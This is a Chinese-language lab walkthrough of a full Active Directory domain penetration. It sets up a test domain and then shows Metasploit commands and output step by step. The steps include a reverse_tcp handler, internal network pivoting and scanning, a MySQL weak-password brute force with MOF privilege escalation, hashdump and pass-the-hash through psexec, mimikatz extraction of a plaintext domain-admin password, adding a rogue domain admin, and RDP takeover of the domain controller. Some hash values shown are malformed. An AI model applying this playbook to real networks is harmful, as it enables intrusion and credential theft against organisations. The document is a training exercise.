內網滲透:一次完整的域滲透
域環境
在開始域滲透之前,先來簡單了解下域的一些概念

域(Domain)是一個有安全邊界的計算機集合(安全邊界的意思是,在兩個域中,一個域中的用戶無法訪問另一個域中的資源)
工作組的分散管理模式不適合大型的網絡環境下工作,域模式就是針對大型的網絡管理需求設計的,就是共享用戶賬號,計算機賬號和安全策略的計算機集合。域中集中存儲用戶賬號的計算機就是域控器,域中用戶賬號,計算機賬號和安全策略被存儲在域控制器上一個名為Active Directory的數據庫中
域控制器
域控制器(Domain Controller,DC)是域中的一臺類似管理服務器的計算機,我們可以形象地將它理解為一個單位的門禁系統。域控制器負責所有連入的計算機和用戶的驗證工作。域內的計算機如果想互相訪問,都要經過域控制器的審核
活動目錄
活動目錄(Active Directory,AD)是指域環境中提供目錄服務的組件
目錄用于存儲有關網絡對象(例如用戶、組、計算機、共享資源、打印機和聯系人等)的信息。目錄服務是指幫助用戶快速、準確地從目錄中找到其所需要的信息的服務。活動目錄實現了目錄服務,為企業提供了網絡環境的集中式管理機制
域控制器和活動目錄的區別
如果網絡規模較大,就要把網絡中的眾多對象,例如計算機、用戶、用戶組、打印機、共享文件等,分門別類、井然有序地放在一個大倉庫中,并將檢索信息整理好,以便查找、管理和使用這些對象(資源)。這個擁有層次結構的數據庫,就是活動目錄數據庫,簡稱AD 庫
要實現域環境,其實就是要安裝AD。如果內網中的一臺計算機上安裝了AD,它就變成了DC(用于存儲活動目錄數據庫的計算機)
也就是說安裝了AD的計算機就是DC
安全域的劃分
劃分安全域的目的是將一組安全等級相同的計算機劃入同一個網段。這個網段內的計算機擁有相同的網絡邊界,并在網絡邊界上通過部署防火墻來實現對其他安全域的網絡訪問控制策略(NACL)
一個典型的中小型內網的安全域劃分,如下圖所示,一個虛線框表示一個安全域(也是網絡的邊界,一般分為DMZ 和內網),通過硬件防火墻的不同端口實現隔離

域內成員劃分
- 域控制器:域控制器用于管理所有的網絡訪問,包括登錄服務器、訪問共享目錄和資源。域控制器中存儲了域內所有的賬戶和策略信息,包括安全策略、用戶身份驗證信息和賬戶信息,一個網絡中可以有多臺域控
- 成員服務器:成員服務器是指安裝了服務器操作系統并加入了域、但沒有安裝活動目錄的計算機,其主要任務是提供網絡資源
- 客戶機:域中的計算機可以是安裝了其他操作系統的計算機,用戶利用這些計算機和域中的賬戶就可以登錄域
- 獨立服務器:獨立服務器和域沒有關系。如果服務器既不加入域,也不安裝活動目錄,就稱其為獨立服務器。獨立服務器可以創建工作組、與網絡中的其他計算機共享資源,但不能使用活動目錄提供的任何服務
參考:內網安全攻防:滲透測試實戰指南
創建域
現有3個Win Server虛擬機,兩個2008,一個2003

使用winserver2008-1作為域控,接下來的操作在這臺虛擬機上完成
操作步驟
- 目標林根級域為:ocean.com
- 域NetBIOS名稱為:OCEAN0
創建組&用戶
配置完畢重啟后,進入用戶和計算機

新建組織單位

名為:oceantest

一共有兩臺成員服務器,所以新建兩個用戶分別為
- server2003
- server20082

密碼就是拓撲中給出的

加入域
保證三個虛擬機可以聯通(我使用的網絡模式是Lan網段10.10.10.1),靜態IP并且設置了dns ip為10.10.10.2
進入winserver2008-2,右擊計算機選擇屬性,修改計算機名

點擊確認后輸入賬號和密碼,正確的話會提示,然后重啟虛擬機

在域控中可以看到兩個computer

成員服務器winserver2003可以使用域身份登錄主機


默認可以使用主域的賬戶密碼登錄所有成員服務器
域滲透
這是整個域環境的拓撲圖

分析這個拓撲圖可以得知
- 成員服務器Winserver 2008-2具有雙網卡,與攻擊者在同一網段(192)可以直接訪問,在現實中就是公網IP
- 成員服務器Winserver 2008-2、成員服務器:Win Server2003、域控制器:Win Server2008-1在同一內網(10段),也在同一個域內,可以相互訪問
因為是內網滲透,所以環境中成員服務器Winserver 2008-2已經因為漏洞使用MSF拿下了
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.179.128 set lport 12345 exploit

常規信息收集
主機信息收集
# 獲取當前用戶 meterpreter > getuid # 盡可能提權 meterpreter > getprivs # 通過各種攻擊向量來提權 meterpreter > getsystem 。。。。。。
成功拿到system權限

# 查看網卡信息 meterpreter >ifconfig 發現有兩個網卡,其中包含10(內網)網段 # 查看路由信息 meterpreter >run autoroute -p meterpreter >run get_local_subnets

內網信息收集
# 通過ping命令 meterpreter >run post/multi/gather/ping_sweep RHOSTS=10.10.10.0/24 # 通過arp協議 meterpreter >run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24 # 使用info查看模塊信息 meterpreter >meterpreter >info post/multi/gather/ping_sweep

發現內網主機:10.10.10.2、10.10.10.4
在meterpreter中輸入命令 shell 進入 成員服務器Winserver 2008-2 的命令行,使用命令查看網絡詳細情況
meterpreter > shell C:\Windows\system32>ipconfig /all


通過這些信息可以判斷 成員服務器Winserver 2008-2 在 ocean.com 域中,根據 DNS 信息判斷域控主機 IP 為10.10.10.2
設置路由使用 Nmap 對內網主機進行掃描
meterpreter > background msf5 exploit(multi/handler) > route add 10.10.10.3 255.255.255.0 1 # 將被控機成員服務器Winserver 2008-2的IP添加到 MSF 中,這是給kali增加的路由,添加之后kali才才能找到內網主機 msf5 exploit(multi/handler) > use scanner/portscan/tcp msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.4 # 掃描域內的成員服務器 winserver2003 msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.2 # 掃描域控服務器的端口
注:如果掃不到就重啟下虛擬機


發現域內的成員服務器 winserver2003(10.10.10.4) 開放了3306 MySQL端口,使用msf查看是否存在漏洞
拿下2003
1.MySQL弱口令
掃描MySQL是否使用了弱口令
use auxiliary/scanner/mysql/mysql_login msf5 auxiliary(scanner/mysql/mysql_login) > show options msf5 auxiliary(scanner/mysql/mysql_login) > set rhosts 10.10.10.4 msf5 auxiliary(scanner/mysql/mysql_login) > set username root msf5 auxiliary(scanner/mysql/mysql_login) > set pass_file /root/桌面/top1000.txt exploit
如果爆破成功后可以使用msf模塊提權
[+] 10.10.10.4:3306 - 10.10.1.3:3306 - Success: 'root:123456 use windows/mysql/mysql_mof msf exploit(windows/mysql/mysql_mof) > set PASSWORD 123456 PASSWORD => 123456 msf exploit(windows/mysql/mysql_mof) > set rhost 10.10.10.4 rhost => 10.10.10.4 msf exploit(windows/mysql/mysql_mof) > set USERNAME root USERNAME => root msf exploit(windows/mysql/mysql_mof) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(windows/mysql/mysql_mof) > exploit
通過MySQL的mof提權得到成員服務器 winserver2003(10.10.10.4) 的權限
2.哈希傳遞攻擊
通過掃描端口可以判斷其開啟了445端口使用哈希傳遞攻擊去打成員服務器 winserver2003(10.10.10.4)
PTH即pass-the-hash,原理是攻擊者可以直接通過LM Hash和NTLM Hash訪問遠程主機或服務,而不需要提供明文密碼
使用MSF獲取hash值
meterpreter > hashdump Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4::: ............
選擇payload,使用winserver2008-2的賬戶密碼hash,攻擊winserver2003,因為內網環境中存在大量密碼一樣的主機,還有一些弱口令,當我們獲得了一臺的hash后,可以通過該hash進行橫向滲透
hash解密網站:https://www.objecif-securite.ch/ophcrack
后半段為加密數據
background use exploit/windows/smb/psexec set payload windows/meterpreter/bind_tcp show options -->查看配置選項 set RHOST 10.10.10.4 -->設置攻擊目標IP,端口默認445 set SMBUser Administrator -->設置賬號為wing set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 run
問題解決
hashdump報錯:[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
進程權限不足,ps之后migrate explorer.exe
meterpreter > migrate 3416
[] Migrating from 1820 to 3416...
[] Migration completed successfully.
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3GvSevN4pTrQrBY9PhEwozRPh5uPsL8jUZ:::
還有就是要注意使用虛擬機向外復制時,在確認一邊可能出現hash對完全就不對的情況
攻擊得到域內機器2003的session

當然不止這些攻擊手段

目前域內的兩臺成員服務器已經被拿下,最后就是域控服務器
拿下域控
信息收集
# 顯示一個計算機上共享資源的列表 net view net view /domain # 獲取所有域的用戶列表 net user /domain # 獲取域用戶組信息 net group /domain # 獲取當前域管理員信息 net group "domain admins" /domain # 查看域時間及域服務器的名字 net time /domain # 添加普通域用戶,這個要域管理權限才可以的 net user hack hack /add /domain # 將普通域用戶提升為域管理員 net group "Domain Admins" hack /add /domain

通過信息收集可以判斷出
\\WIN-A9PLNLID2QM.ocean.com IP:10.10.10.2 就是域控
繼續收集hash賬號信息
meterpreter > hashdump Administrator:500:44efce164ab921caaad3b435b51404ee:3GvSevN4pTrQrBY9PhEwozRPh5uPsL8jUZ::: ASPNET:1006:b6cdaa6dd10a6155b54d6886c7b4b8f4:570c90ed6cca2f86b06241a2e5e0c3df::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: IUSR_WWW-C4D593E2D2C:1000:44566b28c2e9a8f2d6aba8863bf7093c:2d8b5c5e471954a4ff306dff1b311cc6::: IWAM_WWW-C4D593E2D2C:1001:80e1bd999815342156825c6c4818ef78:7c7ee5557864c448aba74604255eeac2::: ocean:1009:a8515a6b1cd41f3eaad3b435b51404ee:8c463fff186fe69a245b37b195c49c1d::: SUPPORT_388945a0:1004:aad3b435b51404eeaad3b435b51404ee:eb84cedb36588cbaf2bf1b9a64905ce5::: # 注意這里從虛擬機里直接復制出來的是錯誤的
普通用戶更改系統信息都需要通過域管理員的操作,要輸入賬號和密碼
mimikatz
可以使用mimikatz獲取明文的密碼
使用 mimikatz 模塊需要 System 權限,所以我們在使用該模塊之前需要將當前 MSF 中的 shell 提升為 system
# 加載kiwi模塊 load mimikatz # 查看kiwi模塊的使用 help mimikatz
MSF 中 mimikatz 模塊的使用
mimikatz 下有七個命令:
- kerberos:kerberos 相關的模塊
- livessp:嘗試檢索 livessp 憑據
- mimikatz_command:運行一個定制的命令
- msv:msv 憑證相關的模塊,列出目標主機的用戶密碼哈希
- ssp:ssp 憑證相關的模塊
- tspkg:tspkg 憑證相關的模塊
- wdigest:wdigest 憑證相關的模塊
使用kerberos命令查看
meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials ==================== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;996 Negotiate NT AUTHORITY NETWORK SERVICE 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;53193 NTLM 0;999 Negotiate OCEAN0 SERVERS2003$ 0;390687 Kerberos OCEAN0 administrator Ocean@123
通過獲取當前域管理員信息,確認administrator就是域控主機管理員用戶
net group "domain admins" /domain
使用psexec模塊拿到sessions
use exploit/windows/smb/psexec set rhost 10.10.10.2 set SMBDomain ocean0 set SMBUser administrator set SMBPASS Ocean@123 set payload windows/meterpreter/bind_tcp

注:域控虛擬機要關閉域防火墻
執行后拿到域控主機的sessions

整個攻擊流程:

后滲透&其他
拿到權限后要考慮收集重要信息、提權、權限維持、痕跡清理等操作
收集密碼
meterpreter > hashdump # 如果獲取不到,可以使用 meterpreter > run post/windows/gather/hashdump

遠程連接
拿下域控之后,所有的主機都可以使用域控 administrator:Ocean@123 賬戶登錄
redesktop 192.168.179.148 # 因為成員服務器有雙網卡,并且能直接被攻擊者訪問,所以可以直接遠程連接登錄,其他主機因為在內網需要設置代理之后才可以訪問

注:虛擬機winserver2008-2需要開啟RDP,且設置為任意連接
登錄之后可以再次使用RDP連接域控,賬戶就是域控賬號

層層套娃下成功連接域控

MSF其他模塊
MSF使用詳解
另外在新版msf 6中mimikatz已經更名為kiwi,使用命令也稍有改變


